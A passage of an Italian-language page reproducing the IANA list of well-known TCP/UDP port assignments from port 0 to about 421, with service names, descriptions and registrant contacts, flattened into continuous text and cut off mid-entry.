dalla IANA e su molti sistemi possono essere utilizzate solo dai processi di sistema (o di root) o da programmi eseguiti da utenti con accessi privilegiati. Le porte sono utilizzate nelle connessioni TCP [RFC793] per indicare la fine delle connessioni logiche che trasportano conversazioni a lunga distanza. Allo scopo di fornire servizi a utenti sconosciuti, viene definito un servizio di porte 'di contatto'. Questa lista specifica le porte utilizzate dai 'server process' come porte di contatto. Le porte di contatto vengono a volte chiamate 'well known ports' Per ampliare le possibilita', le stesse porte vengono estese anche al protocollo UDP [RFC768]. Le porte assegnate, fanno uso di una piccola parte dei numeri delle porte disponibili. Per molti anni, le porte assegnate sono state solo quelle dalla 0 alla 255. Recentemente, il range delle porte assegnate gestite dalla IANA e' stato allargato al range 0-1023. Attribuzione porte: Keyword Decimale Descrzione Referenze ------- -------- ---------- --------- 0/tcp Reserved 0/udp Reserved # Jon Postel tcpmux 1/tcp TCP Port Service Multiplexer tcpmux 1/udp TCP Port Service Multiplexer # Mark Lottor compressnet 2/tcp Management Utility compressnet 2/udp Management Utility compressnet 3/tcp Compression Process compressnet 3/udp Compression Process # Bernie Volz # 4/tcp Unassigned # 4/udp Unassigned rje 5/tcp Remote Job Entry rje 5/udp Remote Job Entry # Jon Postel # 6/tcp Unassigned # 6/udp Unassigned echo 7/tcp Echo echo 7/udp Echo # Jon Postel # 8/tcp Unassigned # 8/udp Unassigned discard 9/tcp Discard discard 9/udp Discard # Jon Postel # 10/tcp Unassigned # 10/udp Unassigned systat 11/tcp Active Users systat 11/udp Active Users # Jon Postel # 12/tcp Unassigned # 12/udp Unassigned daytime 13/tcp Daytime (RFC 867) daytime 13/udp Daytime (RFC 867) # Jon Postel # 14/tcp Unassigned # 14/udp Unassigned # 15/tcp Unassigned [was netstat] # 15/udp Unassigned # 16/tcp Unassigned # 16/udp Unassigned qotd 17/tcp Quote of the Day qotd 17/udp Quote of the Day # Jon Postel msp 18/tcp Message Send Protocol msp 18/udp Message Send Protocol # Rina Nethaniel <---none---> chargen 19/tcp Character Generator chargen 19/udp Character Generator ftp-data 20/tcp File Transfer [Default Data] ftp-data 20/udp File Transfer [Default Data] ftp 21/tcp File Transfer [Control] ftp 21/udp File Transfer [Control] # Jon Postel ssh 22/tcp SSH Remote Login Protocol ssh 22/udp SSH Remote Login Protocol # Tatu Ylonen telnet 23/tcp Telnet telnet 23/udp Telnet # Jon Postel 24/tcp any private mail system 24/udp any private mail system # Rick Adams smtp 25/tcp Simple Mail Transfer smtp 25/udp Simple Mail Transfer # Jon Postel # 26/tcp Unassigned # 26/udp Unassigned nsw-fe 27/tcp NSW User System FE nsw-fe 27/udp NSW User System FE # Robert Thomas # 28/tcp Unassigned # 28/udp Unassigned msg-icp 29/tcp MSG ICP msg-icp 29/udp MSG ICP # Robert Thomas # 30/tcp Unassigned # 30/udp Unassigned msg-auth 31/tcp MSG Authentication msg-auth 31/udp MSG Authentication # Robert Thomas # 32/tcp Unassigned # 32/udp Unassigned dsp 33/tcp Display Support Protocol dsp 33/udp Display Support Protocol # Ed Cain # 34/tcp Unassigned # 34/udp Unassigned 35/tcp any private printer server 35/udp any private printer server # Jon Postel # 36/tcp Unassigned # 36/udp Unassigned time 37/tcp Time time 37/udp Time # Jon Postel rap 38/tcp Route Access Protocol rap 38/udp Route Access Protocol # Robert Ullmann rlp 39/tcp Resource Location Protocol rlp 39/udp Resource Location Protocol # Mike Accetta # 40/tcp Unassigned # 40/udp Unassigned graphics 41/tcp Graphics graphics 41/udp Graphics name 42/tcp Host Name Server name 42/udp Host Name Server nameserver 42/tcp Host Name Server nameserver 42/udp Host Name Server nicname 43/tcp Who Is nicname 43/udp Who Is mpm-flags 44/tcp MPM FLAGS Protocol mpm-flags 44/udp MPM FLAGS Protocol mpm 45/tcp Message Processing Module [recv] mpm 45/udp Message Processing Module [recv] mpm-snd 46/tcp MPM [default send] mpm-snd 46/udp MPM [default send] # Jon Postel ni-ftp 47/tcp NI FTP ni-ftp 47/udp NI FTP # Steve Kille auditd 48/tcp Digital Audit Daemon auditd 48/udp Digital Audit Daemon # Larry Scott tacacs 49/tcp Login Host Protocol (TACACS) tacacs 49/udp Login Host Protocol (TACACS) # Pieter Ditmars re-mail-ck 50/tcp Remote Mail Checking Protocol re-mail-ck 50/udp Remote Mail Checking Protocol # Steve Dorner la-maint 51/tcp IMP Logical Address Maintenance la-maint 51/udp IMP Logical Address Maintenance # Andy Malis xns-time 52/tcp XNS Time Protocol xns-time 52/udp XNS Time Protocol # Susie Armstrong domain 53/tcp Domain Name Server domain 53/udp Domain Name Server # Paul Mockapetris xns-ch 54/tcp XNS Clearinghouse xns-ch 54/udp XNS Clearinghouse # Susie Armstrong isi-gl 55/tcp ISI Graphics Language isi-gl 55/udp ISI Graphics Language xns-auth 56/tcp XNS Authentication xns-auth 56/udp XNS Authentication # Susie Armstrong 57/tcp any private terminal access 57/udp any private terminal access # Jon Postel xns-mail 58/tcp XNS Mail xns-mail 58/udp XNS Mail # Susie Armstrong 59/tcp any private file service 59/udp any private file service # Jon Postel 60/tcp Unassigned 60/udp Unassigned ni-mail 61/tcp NI MAIL ni-mail 61/udp NI MAIL # Steve Kille acas 62/tcp ACA Services acas 62/udp ACA Services # E. Wald whois++ 63/tcp whois++ whois++ 63/udp whois++ # Rickard Schoultz covia 64/tcp Communications Integrator (CI) covia 64/udp Communications Integrator (CI) # "Tundra" Tim Daneliuk # tacacs-ds 65/tcp TACACS-Database Service tacacs-ds 65/udp TACACS-Database Service # Kathy Huber sql*net 66/tcp Oracle SQL*NET sql*net 66/udp Oracle SQL*NET # Jack Haverty bootps 67/tcp Bootstrap Protocol Server bootps 67/udp Bootstrap Protocol Server bootpc 68/tcp Bootstrap Protocol Client bootpc 68/udp Bootstrap Protocol Client # Bill Croft tftp 69/tcp Trivial File Transfer tftp 69/udp Trivial File Transfer # David Clark gopher 70/tcp Gopher gopher 70/udp Gopher # Mark McCahill netrjs-1 71/tcp Remote Job Service netrjs-1 71/udp Remote Job Service netrjs-2 72/tcp Remote Job Service netrjs-2 72/udp Remote Job Service netrjs-3 73/tcp Remote Job Service netrjs-3 73/udp Remote Job Service netrjs-4 74/tcp Remote Job Service netrjs-4 74/udp Remote Job Service # Bob Braden 75/tcp any private dial out service 75/udp any private dial out service # Jon Postel deos 76/tcp Distributed External Object Store deos 76/udp Distributed External Object Store # Robert Ullmann 77/tcp any private RJE service 77/udp any private RJE service # Jon Postel vettcp 78/tcp vettcp vettcp 78/udp vettcp # Christopher Leong finger 79/tcp Finger finger 79/udp Finger # David Zimmerman http 80/tcp World Wide Web HTTP http 80/udp World Wide Web HTTP www 80/tcp World Wide Web HTTP www 80/udp World Wide Web HTTP www-http 80/tcp World Wide Web HTTP www-http 80/udp World Wide Web HTTP # Tim Berners-Lee hosts2-ns 81/tcp HOSTS2 Name Server hosts2-ns 81/udp HOSTS2 Name Server # Earl Killian xfer 82/tcp XFER Utility xfer 82/udp XFER Utility # Thomas M. Smith mit-ml-dev 83/tcp MIT ML Device mit-ml-dev 83/udp MIT ML Device # David Reed <--none---> ctf 84/tcp Common Trace Facility ctf 84/udp Common Trace Facility # Hugh Thomas mit-ml-dev 85/tcp MIT ML Device mit-ml-dev 85/udp MIT ML Device # David Reed <--none---> mfcobol 86/tcp Micro Focus Cobol mfcobol 86/udp Micro Focus Cobol # Simon Edwards <--none---> 87/tcp any private terminal link 87/udp any private terminal link # Jon Postel kerberos 88/tcp Kerberos kerberos 88/udp Kerberos # B. Clifford Neuman su-mit-tg 89/tcp SU/MIT Telnet Gateway su-mit-tg 89/udp SU/MIT Telnet Gateway # Mark Crispin ########### PORT 90 also being used unofficially by Pointcast ######### dnsix 90/tcp DNSIX Securit Attribute Token Map dnsix 90/udp DNSIX Securit Attribute Token Map # Charles Watt mit-dov 91/tcp MIT Dover Spooler mit-dov 91/udp MIT Dover Spooler # Eliot Moss npp 92/tcp Network Printing Protocol npp 92/udp Network Printing Protocol # Louis Mamakos dcp 93/tcp Device Control Protocol dcp 93/udp Device Control Protocol # Daniel Tappan objcall 94/tcp Tivoli Object Dispatcher objcall 94/udp Tivoli Object Dispatcher # Tom Bereiter <--none---> supdup 95/tcp SUPDUP supdup 95/udp SUPDUP # Mark Crispin dixie 96/tcp DIXIE Protocol Specification dixie 96/udp DIXIE Protocol Specification # Tim Howes swift-rvf 97/tcp Swift Remote Virtural File Protocol swift-rvf 97/udp Swift Remote Virtural File Protocol # Maurice R. Turcotte # tacnews 98/tcp TAC News tacnews 98/udp TAC News # Jon Postel metagram 99/tcp Metagram Relay metagram 99/udp Metagram Relay # Geoff Goodfellow newacct 100/tcp [unauthorized use] hostname 101/tcp NIC Host Name Server hostname 101/udp NIC Host Name Server # Jon Postel iso-tsap 102/tcp ISO-TSAP Class 0 iso-tsap 102/udp ISO-TSAP Class 0 # Marshall Rose gppitnp 103/tcp Genesis Point-to-Point Trans Net gppitnp 103/udp Genesis Point-to-Point Trans Net acr-nema 104/tcp ACR-NEMA Digital Imag. & Comm. 300 acr-nema 104/udp ACR-NEMA Digital Imag. & Comm. 300 # Patrick McNamee <--none---> cso 105/tcp CCSO name server protocol cso 105/udp CCSO name server protocol # Martin Hamilton csnet-ns 105/tcp Mailbox Name Nameserver csnet-ns 105/udp Mailbox Name Nameserver # Marvin Solomon 3com-tsmux 106/tcp 3COM-TSMUX 3com-tsmux 106/udp 3COM-TSMUX # Jeremy Siegel rtelnet 107/tcp Remote Telnet Service rtelnet 107/udp Remote Telnet Service # Jon Postel snagas 108/tcp SNA Gateway Access Server snagas 108/udp SNA Gateway Access Server # Kevin Murphy pop2 109/tcp Post Office Protocol - Version 2 pop2 109/udp Post Office Protocol - Version 2 # Joyce K. Reynolds pop3 110/tcp Post Office Protocol - Version 3 pop3 110/udp Post Office Protocol - Version 3 # Marshall Rose sunrpc 111/tcp SUN Remote Procedure Call sunrpc 111/udp SUN Remote Procedure Call # Chuck McManis mcidas 112/tcp McIDAS Data Transmission Protocol mcidas 112/udp McIDAS Data Transmission Protocol # Glenn Davis ident 113/tcp auth 113/tcp Authentication Service auth 113/udp Authentication Service # Mike St. Johns audionews 114/tcp Audio News Multicast audionews 114/udp Audio News Multicast # Martin Forssen sftp 115/tcp Simple File Transfer Protocol sftp 115/udp Simple File Transfer Protocol # Mark Lottor ansanotify 116/tcp ANSA REX Notify ansanotify 116/udp ANSA REX Notify # Nicola J. Howarth uucp-path 117/tcp UUCP Path Service uucp-path 117/udp UUCP Path Service sqlserv 118/tcp SQL Services sqlserv 118/udp SQL Services # Larry Barnes nntp 119/tcp Network News Transfer Protocol nntp 119/udp Network News Transfer Protocol # Phil Lapsley cfdptkt 120/tcp CFDPTKT cfdptkt 120/udp CFDPTKT # John Ioannidis erpc 121/tcp Encore Expedited Remote Pro.Call erpc 121/udp Encore Expedited Remote Pro.Call # Jack O'Neil <---none---> smakynet 122/tcp SMAKYNET smakynet 122/udp SMAKYNET # Mike O'Dowd ntp 123/tcp Network Time Protocol ntp 123/udp Network Time Protocol # Dave Mills ansatrader 124/tcp ANSA REX Trader ansatrader 124/udp ANSA REX Trader # Nicola J. Howarth locus-map 125/tcp Locus PC-Interface Net Map Ser locus-map 125/udp Locus PC-Interface Net Map Ser # Eric Peterson nxedit 126/tcp NXEdit nxedit 126/udp NXEdit # Don Payette ###########Port 126 Previously assigned to application below####### #unitary 126/tcp Unisys Unitary Login #unitary 126/udp Unisys Unitary Login # ###########Port 126 Previously assigned to application above####### locus-con 127/tcp Locus PC-Interface Conn Server locus-con 127/udp Locus PC-Interface Conn Server # Eric Peterson gss-xlicen 128/tcp GSS X License Verification gss-xlicen 128/udp GSS X License Verification # John Light pwdgen 129/tcp Password Generator Protocol pwdgen 129/udp Password Generator Protocol # Frank J. Wacho cisco-fna 130/tcp cisco FNATIVE cisco-fna 130/udp cisco FNATIVE cisco-tna 131/tcp cisco TNATIVE cisco-tna 131/udp cisco TNATIVE cisco-sys 132/tcp cisco SYSMAINT cisco-sys 132/udp cisco SYSMAINT statsrv 133/tcp Statistics Service statsrv 133/udp Statistics Service # Dave Mills ingres-net 134/tcp INGRES-NET Service ingres-net 134/udp INGRES-NET Service # Mike Berrow <---none---> epmap 135/tcp DCE endpoint resolution epmap 135/udp DCE endpoint resolution # Joe Pato profile 136/tcp PROFILE Naming System profile 136/udp PROFILE Naming System # Larry Peterson netbios-ns 137/tcp NETBIOS Name Service netbios-ns 137/udp NETBIOS Name Service netbios-dgm 138/tcp NETBIOS Datagram Service netbios-dgm 138/udp NETBIOS Datagram Service netbios-ssn 139/tcp NETBIOS Session Service netbios-ssn 139/udp NETBIOS Session Service # Jon Postel emfis-data 140/tcp EMFIS Data Service emfis-data 140/udp EMFIS Data Service emfis-cntl 141/tcp EMFIS Control Service emfis-cntl 141/udp EMFIS Control Service # Gerd Beling bl-idm 142/tcp Britton-Lee IDM bl-idm 142/udp Britton-Lee IDM # Susie Snitzer <---none---> imap 143/tcp Internet Message Access Protocol imap 143/udp Internet Message Access Protocol # Mark Crispin uma 144/tcp Universal Management Architecture uma 144/udp Universal Management Architecture # Jay Whitney uaac 145/tcp UAAC Protocol uaac 145/udp UAAC Protocol # David A. Gomberg iso-tp0 146/tcp ISO-IP0 iso-tp0 146/udp ISO-IP0 iso-ip 147/tcp ISO-IP iso-ip 147/udp ISO-IP # Marshall Rose jargon 148/tcp Jargon jargon 148/udp Jargon # Bill Weinman aed-512 149/tcp AED 512 Emulation Service aed-512 149/udp AED 512 Emulation Service # Albert G. Broscius sql-net 150/tcp SQL-NET sql-net 150/udp SQL-NET # Martin Picard <<---none---> hems 151/tcp HEMS hems 151/udp HEMS bftp 152/tcp Background File Transfer Program bftp 152/udp Background File Transfer Program # Annette DeSchon sgmp 153/tcp SGMP sgmp 153/udp SGMP # Marty Schoffstahl netsc-prod 154/tcp NETSC netsc-prod 154/udp NETSC netsc-dev 155/tcp NETSC netsc-dev 155/udp NETSC # Sergio Heker sqlsrv 156/tcp SQL Service sqlsrv 156/udp SQL Service # Craig Rogers knet-cmp 157/tcp KNET/VM Command/Message Protocol knet-cmp 157/udp KNET/VM Command/Message Protocol # Gary S. Malkin pcmail-srv 158/tcp PCMail Server pcmail-srv 158/udp PCMail Server # Mark L. Lambert nss-routing 159/tcp NSS-Routing nss-routing 159/udp NSS-Routing # Yakov Rekhter sgmp-traps 160/tcp SGMP-TRAPS sgmp-traps 160/udp SGMP-TRAPS # Marty Schoffstahl snmp 161/tcp SNMP snmp 161/udp SNMP snmptrap 162/tcp SNMPTRAP snmptrap 162/udp SNMPTRAP # Marshall Rose cmip-man 163/tcp CMIP/TCP Manager cmip-man 163/udp CMIP/TCP Manager cmip-agent 164/tcp CMIP/TCP Agent smip-agent 164/udp CMIP/TCP Agent # Amatzia Ben-Artzi <---none---> xns-courier 165/tcp Xerox xns-courier 165/udp Xerox # Susie Armstrong s-net 166/tcp Sirius Systems s-net 166/udp Sirius Systems # Brian Lloyd namp 167/tcp NAMP namp 167/udp NAMP # Marty Schoffstahl rsvd 168/tcp RSVD rsvd 168/udp RSVD # Neil Todd send 169/tcp SEND send 169/udp SEND # William D. Wisner print-srv 170/tcp Network PostScript print-srv 170/udp Network PostScript # Brian Reid multiplex 171/tcp Network Innovations Multiplex multiplex 171/udp Network Innovations Multiplex cl/1 172/tcp Network Innovations CL/1 cl/1 172/udp Network Innovations CL/1 # Kevin DeVault <<---none---> xyplex-mux 173/tcp Xyplex xyplex-mux 173/udp Xyplex # Bob Stewart mailq 174/tcp MAILQ mailq 174/udp MAILQ # Rayan Zachariassen vmnet 175/tcp VMNET vmnet 175/udp VMNET # Christopher Tengi genrad-mux 176/tcp GENRAD-MUX genrad-mux 176/udp GENRAD-MUX # Ron Thornton xdmcp 177/tcp X Display Manager Control Protocol xdmcp 177/udp X Display Manager Control Protocol # Robert W. Scheifler nextstep 178/tcp NextStep Window Server nextstep 178/udp NextStep Window Server # Leo Hourvitz bgp 179/tcp Border Gateway Protocol bgp 179/udp Border Gateway Protocol # Kirk Lougheed ris 180/tcp Intergraph ris 180/udp Intergraph # Dave Buehmann unify 181/tcp Unify unify 181/udp Unify # Vinod Singh <--none---> audit 182/tcp Unisys Audit SITP audit 182/udp Unisys Audit SITP # Gil Greenbaum ocbinder 183/tcp OCBinder ocbinder 183/udp OCBinder ocserver 184/tcp OCServer ocserver 184/udp OCServer # Jerrilynn Okamura <--none---> remote-kis 185/tcp Remote-KIS remote-kis 185/udp Remote-KIS kis 186/tcp KIS Protocol kis 186/udp KIS Protocol # Ralph Droms aci 187/tcp Application Communication Interface aci 187/udp Application Communication Interface # Rick Carlos mumps 188/tcp Plus Five's MUMPS mumps 188/udp Plus Five's MUMPS # Hokey Stenn qft 189/tcp Queued File Transport qft 189/udp Queued File Transport # Wayne Schroeder gacp 190/tcp Gateway Access Control Protocol gacp 190/udp Gateway Access Control Protocol # C. Philip Wood prospero 191/tcp Prospero Directory Service prospero 191/udp Prospero Directory Service # B. Clifford Neuman osu-nms 192/tcp OSU Network Monitoring System osu-nms 192/udp OSU Network Monitoring System # Doug Karl srmp 193/tcp Spider Remote Monitoring Protocol srmp 193/udp Spider Remote Monitoring Protocol # Ted J. Socolofsky irc 194/tcp Internet Relay Chat Protocol irc 194/udp Internet Relay Chat Protocol # Jarkko Oikarinen dn6-nlm-aud 195/tcp DNSIX Network Level Module Audit dn6-nlm-aud 195/udp DNSIX Network Level Module Audit dn6-smm-red 196/tcp DNSIX Session Mgt Module Audit Redir dn6-smm-red 196/udp DNSIX Session Mgt Module Audit Redir # Lawrence Lebahn dls 197/tcp Directory Location Service dls 197/udp Directory Location Service dls-mon 198/tcp Directory Location Service Monitor dls-mon 198/udp Directory Location Service Monitor # Scott Bellew smux 199/tcp SMUX smux 199/udp SMUX # Marshall Rose src 200/tcp IBM System Resource Controller src 200/udp IBM System Resource Controller # Gerald McBrearty <---none---> at-rtmp 201/tcp AppleTalk Routing Maintenance at-rtmp 201/udp AppleTalk Routing Maintenance at-nbp 202/tcp AppleTalk Name Binding at-nbp 202/udp AppleTalk Name Binding at-3 203/tcp AppleTalk Unused at-3 203/udp AppleTalk Unused at-echo 204/tcp AppleTalk Echo at-echo 204/udp AppleTalk Echo at-5 205/tcp AppleTalk Unused at-5 205/udp AppleTalk Unused at-zis 206/tcp AppleTalk Zone Information at-zis 206/udp AppleTalk Zone Information at-7 207/tcp AppleTalk Unused at-7 207/udp AppleTalk Unused at-8 208/tcp AppleTalk Unused at-8 208/udp AppleTalk Unused # Rob Chandhok qmtp 209/tcp The Quick Mail Transfer Protocol qmtp 209/udp The Quick Mail Transfer Protocol # Dan Bernstein z39.50 210/tcp ANSI Z39.50 z39.50 210/udp ANSI Z39.50 # Mark Needleman # 914c/g 211/tcp Texas Instruments 914C/G Terminal 914c/g 211/udp Texas Instruments 914C/G Terminal # Bill Harrell <---none---> anet 212/tcp ATEXSSTR anet 212/udp ATEXSSTR # Jim Taylor ipx 213/tcp IPX ipx 213/udp IPX # Don Provan vmpwscs 214/tcp VM PWSCS vmpwscs 214/udp VM PWSCS # Dan Shia softpc 215/tcp Insignia Solutions softpc 215/udp Insignia Solutions # Martyn Thomas <---none---> CAIlic 216/tcp Computer Associates Int'l License Server CAIlic 216/udp Computer Associates Int'l License Server # Chuck Spitz dbase 217/tcp dBASE Unix dbase 217/udp dBASE Unix # Don Gibson # mpp 218/tcp Netix Message Posting Protocol mpp 218/udp Netix Message Posting Protocol # Shannon Yeh uarps 219/tcp Unisys ARPs uarps 219/udp Unisys ARPs # Ashok Marwaha <---none---> imap3 220/tcp Interactive Mail Access Protocol v3 imap3 220/udp Interactive Mail Access Protocol v3 # James Rice fln-spx 221/tcp Berkeley rlogind with SPX auth fln-spx 221/udp Berkeley rlogind with SPX auth rsh-spx 222/tcp Berkeley rshd with SPX auth rsh-spx 222/udp Berkeley rshd with SPX auth cdc 223/tcp Certificate Distribution Center cdc 223/udp Certificate Distribution Center # Kannan Alagappan ########### Possibile Conflitto della Porta 222 con "Masqdialer"############## ### Il contatto per Masqdialer e' Charles Wright ### masqdialer 224/tcp masqdialer masqdialer 224/udp masqdialer # Charles Wright # 225-241 Reserved # Jon Postel direct 242/tcp Direct direct 242/udp Direct # Herb Sutter sur-meas 243/tcp Survey Measurement sur-meas 243/udp Survey Measurement # Dave Clark dayna 244/tcp Dayna dayna 244/udp Dayna # Steve Bateman link 245/tcp LINK link 245/udp LINK dsp3270 246/tcp Display Systems Protocol dsp3270 246/udp Display Systems Protocol # Weldon J. Showalter subntbcst_tftp 247/tcp SUBNTBCST_TFTP subntbcst_tftp 247/udp SUBNTBCST_TFTP # John Fake bhfhs 248/tcp bhfhs bhfhs 248/udp bhfhs # John Kelly # 249-255 Reserved # Jon Postel rap 256/tcp RAP rap 256/udp RAP # J.S. Greenfield set 257/tcp Secure Electronic Transaction set 257/udp Secure Electronic Transaction # Donald Eastlake yak-chat 258/tcp Yak Winsock Personal Chat yak-chat 258/udp Yak Winsock Personal Chat # Brian Bandy esro-gen 259/tcp Efficient Short Remote Operations esro-gen 259/udp Efficient Short Remote Operations # Mohsen Banan openport 260/tcp Openport openport 260/udp Openport # John Marland nsiiops 261/tcp IIOP Name Service over TLS/SSL nsiiops 261/udp IIOP Name Service over TLS/SSL # Jeff Stewart arcisdms 262/tcp Arcisdms arcisdms 262/udp Arcisdms # Russell Crook (rmc@sni.ca> hdap 263/tcp HDAP hdap 263/udp HDAP # Troy Gau bgmp 264/tcp BGMP bgmp 264/udp BGMP # Dave Thaler # 265-279 Unassigned http-mgmt 280/tcp http-mgmt http-mgmt 280/udp http-mgmt # Adrian Pell # personal-link 281/tcp Personal Link personal-link 281/udp Personal Link # Dan Cummings cableport-ax 282/tcp Cable Port A/X cableport-ax 282/udp Cable Port A/X # Craig Langfahl # 283-307 Unassigned novastorbakcup 308/tcp Novastor Backup novastorbakcup 308/udp Novastor Backup # Brian Dickman entrusttime 309/tcp EntrustTime entrusttime 309/udp EntrustTime # Peter Whittaker bhmds 310/tcp bhmds bhmds 310/udp bhmds # John Kelly asip-webadmin 311/tcp AppleShare IP WebAdmin asip-webadmin 311/udp AppleShare IP WebAdmin # Ann Huang vslmp 312/tcp VSLMP vslmp 312/udp VSLMP # Gerben Wierda magenta-logic 313/tcp Magenta Logic magenta-logic 313/udp Magenta Logic # Karl Rousseau opalis-robot 314/tcp Opalis Robot opalis-robot 314/udp Opalis Robot # Laurent Domenech, Opalis dpsi 315/tcp DPSI dpsi 315/udp DPSI # Tony Scamurra decauth 316/tcp decAuth decauth 316/udp decAuth # Michael Agishtein zannet 317/tcp Zannet zannet 317/udp Zannet # Zan Oliphant # 318-320 Unassigned pip 321/tcp PIP pip 321/udp PIP # Gordon Mohr # 322-343 Unassigned pdap 344/tcp Prospero Data Access Protocol pdap 344/udp Prospero Data Access Protocol # B. Clifford Neuman pawserv 345/tcp Perf Analysis Workbench pawserv 345/udp Perf Analysis Workbench zserv 346/tcp Zebra server zserv 346/udp Zebra server fatserv 347/tcp Fatmen Server fatserv 347/udp Fatmen Server csi-sgwp 348/tcp Cabletron Management Protocol csi-sgwp 348/udp Cabletron Management Protocol mftp 349/tcp mftp mftp 349/udp mftp # Dave Feinleib matip-type-a 350/tcp MATIP Type A matip-type-a 350/udp MATIP Type A matip-type-b 351/tcp MATIP Type B matip-type-b 351/udp MATIP Type B # Alain Robert # The following entry records an unassigned but widespread use bhoetty 351/tcp bhoetty (added 5/21/97) bhoetty 351/udp bhoetty # John Kelly dtag-ste-sb 352/tcp DTAG (assigned long ago) dtag-ste-sb 352/udp DTAG # Ruediger Wald # The following entry records an unassigned but widespread use bhoedap4 352/tcp bhoedap4 (added 5/21/97) bhoedap4 352/udp bhoedap4 # John Kelly ndsauth 353/tcp NDSAUTH ndsauth 353/udp NDSAUTH # Jayakumar Ramalingam bh611 354/tcp bh611 bh611 354/udp bh611 # John Kelly datex-asn 355/tcp DATEX-ASN datex-asn 355/udp DATEX-ASN # Kenneth Vaughn cloanto-net-1 356/tcp Cloanto Net 1 cloanto-net-1 356/udp Cloanto Net 1 # Michael Battilana bhevent 357/tcp bhevent bhevent 357/udp bhevent # John Kelly shrinkwrap 358/tcp Shrinkwrap shrinkwrap 358/udp Shrinkwrap # Bill Simpson tenebris_nts 359/tcp Tenebris Network Trace Service tenebris_nts 359/udp Tenebris Network Trace Service # Eric Jacksch scoi2odialog 360/tcp scoi2odialog scoi2odialog 360/udp scoi2odialog # Keith Petley semantix 361/tcp Semantix semantix 361/udp Semantix # Semantix srssend 362/tcp SRS Send srssend 362/udp SRS Send # Curt Mayer rsvp_tunnel 363/tcp RSVP Tunnel rsvp_tunnel 363/udp RSVP Tunnel # Andreas Terzis aurora-cmgr 364/tcp Aurora CMGR aurora-cmgr 364/udp Aurora CMGR # Philip Budne dtk 365/tcp DTK dtk 365/udp DTK # Fred Cohen odmr 366/tcp ODMR odmr 366/udp ODMR # Randall Gellens mortgageware 367/tcp MortgageWare mortgageware 367/udp MortgageWare # Ole Hellevik qbikgdp 368/tcp QbikGDP qbikgdp 368/udp QbikGDP # Adrien de Croy rpc2portmap 369/tcp rpc2portmap rpc2portmap 369/udp rpc2portmap codaauth2 370/tcp codaauth2 codaauth2 370/udp codaauth2 # Robert Watson clearcase 371/tcp Clearcase clearcase 371/udp Clearcase # Dave LeBlang ulistproc 372/tcp ListProcessor ulistproc 372/udp ListProcessor # Anastasios Kotsikonas legent-1 373/tcp Legent Corporation legent-1 373/udp Legent Corporation legent-2 374/tcp Legent Corporation legent-2 374/udp Legent Corporation # Keith Boyce <---none---> hassle 375/tcp Hassle hassle 375/udp Hassle # Reinhard Doelz nip 376/tcp Amiga Envoy Network Inquiry Proto nip 376/udp Amiga Envoy Network Inquiry Proto # Heinz Wrobel # Dale L. Larson tnETOS 377/tcp NEC Corporation tnETOS 377/udp NEC Corporation dsETOS 378/tcp NEC Corporation dsETOS 378/udp NEC Corporation # Tomoo Fujita is99c 379/tcp TIA/EIA/IS-99 modem client is99c 379/udp TIA/EIA/IS-99 modem client is99s 380/tcp TIA/EIA/IS-99 modem server is99s 380/udp TIA/EIA/IS-99 modem server # Frank Quick hp-collector 381/tcp hp performance data collector hp-collector 381/udp hp performance data collector hp-managed-node 382/tcp hp performance data managed node hp-managed-node 382/udp hp performance data managed node hp-alarm-mgr 383/tcp hp performance data alarm manager hp-alarm-mgr 383/udp hp performance data alarm manager # Frank Blakely arns 384/tcp A Remote Network Server System arns 384/udp A Remote Network Server System # David Hornsby ibm-app 385/tcp IBM Application ibm-app 385/udp IBM Application # Lisa Tomita <---none---> asa 386/tcp ASA Message Router Object Def. asa 386/udp ASA Message Router Object Def. # Steve Laitinen aurp 387/tcp Appletalk Update-Based Routing Pro. aurp 387/udp Appletalk Update-Based Routing Pro. # Chris Ranch unidata-ldm 388/tcp Unidata LDM Version 4 unidata-ldm 388/udp Unidata LDM Version 4 # Glenn Davis ldap 389/tcp Lightweight Directory Access Protocol ldap 389/udp Lightweight Directory Access Protocol # Tim Howes uis 390/tcp UIS uis 390/udp UIS # Ed Barron <---none---> synotics-relay 391/tcp SynOptics SNMP Relay Port synotics-relay 391/udp SynOptics SNMP Relay Port synotics-broker 392/tcp SynOptics Port Broker Port synotics-broker 392/udp SynOptics Port Broker Port # Illan Raab dis 393/tcp Data Interpretation System dis 393/udp Data Interpretation System # Paul Stevens embl-ndt 394/tcp EMBL Nucleic Data Transfer embl-ndt 394/udp EMBL Nucleic Data Transfer # Peter Gad netcp 395/tcp NETscout Control Protocol netcp 395/udp NETscout Control Protocol # Anil Singhal <---none---> netware-ip 396/tcp Novell Netware over IP netware-ip 396/udp Novell Netware over IP mptn 397/tcp Multi Protocol Trans. Net. mptn 397/udp Multi Protocol Trans. Net. # Soumitra Sarkar kryptolan 398/tcp Kryptolan kryptolan 398/udp Kryptolan # Peter de Laval iso-tsap-c2 399/tcp ISO Transport Class 2 Non-Control over TCP iso-tsap-c2 399/udp ISO Transport Class 2 Non-Control over TCP # Yanick Pouffary work-sol 400/tcp Workstation Solutions work-sol 400/udp Workstation Solutions # Jim Ward ups 401/tcp Uninterruptible Power Supply ups 401/udp Uninterruptible Power Supply # Charles Bennett genie 402/tcp Genie Protocol genie 402/udp Genie Protocol # Mark Hankin <---none---> decap 403/tcp decap decap 403/udp decap nced 404/tcp nced nced 404/udp nced ncld 405/tcp ncld ncld 405/udp ncld # Richard Jones <---none---> imsp 406/tcp Interactive Mail Support Protocol imsp 406/udp Interactive Mail Support Protocol # John Myers timbuktu 407/tcp Timbuktu timbuktu 407/udp Timbuktu # Marc Epard prm-sm 408/tcp Prospero Resource Manager Sys. Man. prm-sm 408/udp Prospero Resource Manager Sys. Man. prm-nm 409/tcp Prospero Resource Manager Node Man. prm-nm 409/udp Prospero Resource Manager Node Man. # B. Clifford Neuman decladebug 410/tcp DECLadebug Remote Debug Protocol decladebug 410/udp DECLadebug Remote Debug Protocol # Anthony Berent rmt 411/tcp Remote MT Protocol rmt 411/udp Remote MT Protocol # Peter Eriksson synoptics-trap 412/tcp Trap Convention Port synoptics-trap 412/udp Trap Convention Port # Illan Raab smsp 413/tcp SMSP smsp 413/udp SMSP infoseek 414/tcp InfoSeek infoseek 414/udp InfoSeek # Steve Kirsch bnet 415/tcp BNet bnet 415/udp BNet # Jim Mertz silverplatter 416/tcp Silverplatter silverplatter 416/udp Silverplatter # Peter Ciuffetti onmux 417/tcp Onmux onmux 417/udp Onmux # Stephen Hanna hyper-g 418/tcp Hyper-G hyper-g 418/udp Hyper-G # Frank Kappe ariel1 419/tcp Ariel ariel1 419/udp Ariel # Jonathan Lavigne smpte 420/tcp SMPTE smpte 420/udp SMPTE # Si Becker <71362.22@CompuServe.COM> ariel2 421/tcp 